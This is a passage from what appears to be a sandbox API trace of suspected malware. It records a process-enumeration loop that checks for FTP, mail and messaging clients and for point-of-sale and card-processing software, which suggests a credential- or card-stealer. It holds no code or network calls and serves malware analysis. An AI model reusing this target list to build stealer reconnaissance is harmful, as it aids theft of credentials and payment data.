lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0093.251] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0093.251] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0093.252] lstrlenW (lpString="starter detection.exe") returned 21 [0093.252] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0093.252] lstrlenW (lpString="unified aus.exe") returned 15 [0093.252] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0093.253] lstrlenW (lpString="taiwan registration.exe") returned 23 [0093.253] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0093.254] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0093.254] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0093.254] lstrlenW (lpString="headlines.exe") returned 13 [0093.254] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0093.255] lstrlenW (lpString="ash-method.exe") returned 14 [0093.255] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0093.256] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0093.256] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0093.257] lstrlenW (lpString="programmes officially.exe") returned 25 [0093.257] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0093.257] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0093.257] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0093.258] lstrlenW (lpString="george-depending.exe") returned 20 [0093.258] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0093.259] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0093.259] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0093.259] lstrlenW (lpString="repeat go.exe") returned 13 [0093.259] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0093.260] lstrlenW (lpString="showcase.exe") returned 12 [0093.260] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0093.261] lstrlenW (lpString="3dftp.exe") returned 9 [0093.261] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0093.262] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0093.262] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0093.263] lstrlenW (lpString="alftp.exe") returned 9 [0093.263] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0093.265] lstrlenW (lpString="barca.exe") returned 9 [0093.265] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0093.266] lstrlenW (lpString="bitkinex.exe") returned 12 [0093.266] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0093.267] lstrlenW (lpString="coreftp.exe") returned 11 [0093.267] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0093.268] lstrlenW (lpString="far.exe") returned 7 [0093.268] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0093.269] lstrlenW (lpString="filezilla.exe") returned 13 [0093.269] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0093.271] lstrlenW (lpString="flashfxp.exe") returned 12 [0093.271] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0093.272] lstrlenW (lpString="fling.exe") returned 9 [0093.281] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0093.353] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0093.354] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0093.355] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0093.355] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0093.356] lstrlenW (lpString="icq.exe") returned 7 [0093.356] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0093.357] lstrlenW (lpString="leechftp.exe") returned 12 [0093.357] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0093.358] lstrlenW (lpString="ncftp.exe") returned 9 [0093.358] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0093.358] lstrlenW (lpString="notepad.exe") returned 11 [0093.359] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0093.359] lstrlenW (lpString="operamail.exe") returned 13 [0093.359] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0093.360] lstrlenW (lpString="pidgin.exe") returned 10 [0093.360] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0093.361] lstrlenW (lpString="scriptftp.exe") returned 13 [0093.361] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0093.362] lstrlenW (lpString="skype.exe") returned 9 [0093.362] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0093.363] lstrlenW (lpString="smartftp.exe") returned 12 [0093.363] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0093.364] lstrlenW (lpString="thunderbird.exe") returned 15 [0093.364] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0093.365] lstrlenW (lpString="totalcmd.exe") returned 12 [0093.365] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0093.377] lstrlenW (lpString="trillian.exe") returned 12 [0093.377] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0093.378] lstrlenW (lpString="webdrive.exe") returned 12 [0093.378] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0093.379] lstrlenW (lpString="whatsapp.exe") returned 12 [0093.379] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0093.380] lstrlenW (lpString="winscp.exe") returned 10 [0093.380] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0093.382] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0093.382] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0093.384] lstrlenW (lpString="active-charge.exe") returned 17 [0093.384] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0093.385] lstrlenW (lpString="accupos.exe") returned 11 [0093.385] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0093.386] lstrlenW (lpString="afr38.exe") returned 9 [0093.386] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0093.387] lstrlenW (lpString="aldelo.exe") returned 10 [0093.387] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0093.388] lstrlenW (lpString="ccv_server.exe") returned 14 [0093.388] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0093.389] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0093.389] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0093.390] lstrlenW (lpString="creditservice.exe") returned 17 [0093.390] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0093.391] lstrlenW (lpString="edcsvr.exe") returned 10 [0093.391] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0093.392] lstrlenW (lpString="fpos.exe") returned 8 [0093.392] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0093.393] lstrlenW (lpString="isspos.exe") returned 10 [0093.393] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0093.394] lstrlenW (lpString="mxslipstream.exe") returned 16 [0093.394] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0093.395] lstrlenW (lpString="omnipos.exe") returned 11 [0093.395] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0093.396] lstrlenW (lpString="spcwin.exe") returned 10 [0093.396] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0093.920] lstrlenW (lpString="spgagentservice.exe") returned 19 [0093.920] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0093.921] lstrlenW (lpString="utg2.exe") returned 8 [0093.921] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0093.922] lstrlenW (lpString="controlling.exe") returned 15 [0093.922] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0093.923] lstrlenW (lpString="assess climate.exe") returned 18 [0093.923] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0093.924] lstrlenW (lpString="color_infection.exe") returned 19 [0093.924] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0093.925] lstrlenW (lpString="home.exe") returned 8 [0093.925] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0093.926] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0093.926] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.927] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.927] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.928] lstrlenW (lpString="svchost.exe") returned 11 [0093.928] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.928] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.929] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0093.929] lstrlenW (lpString="UsoClient.exe") returned 13 [0093.929] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.930] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.930] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0093.931] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0093.931] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0093.932] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0093.932] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0093.933] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0093.933] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.937] lstrlenW 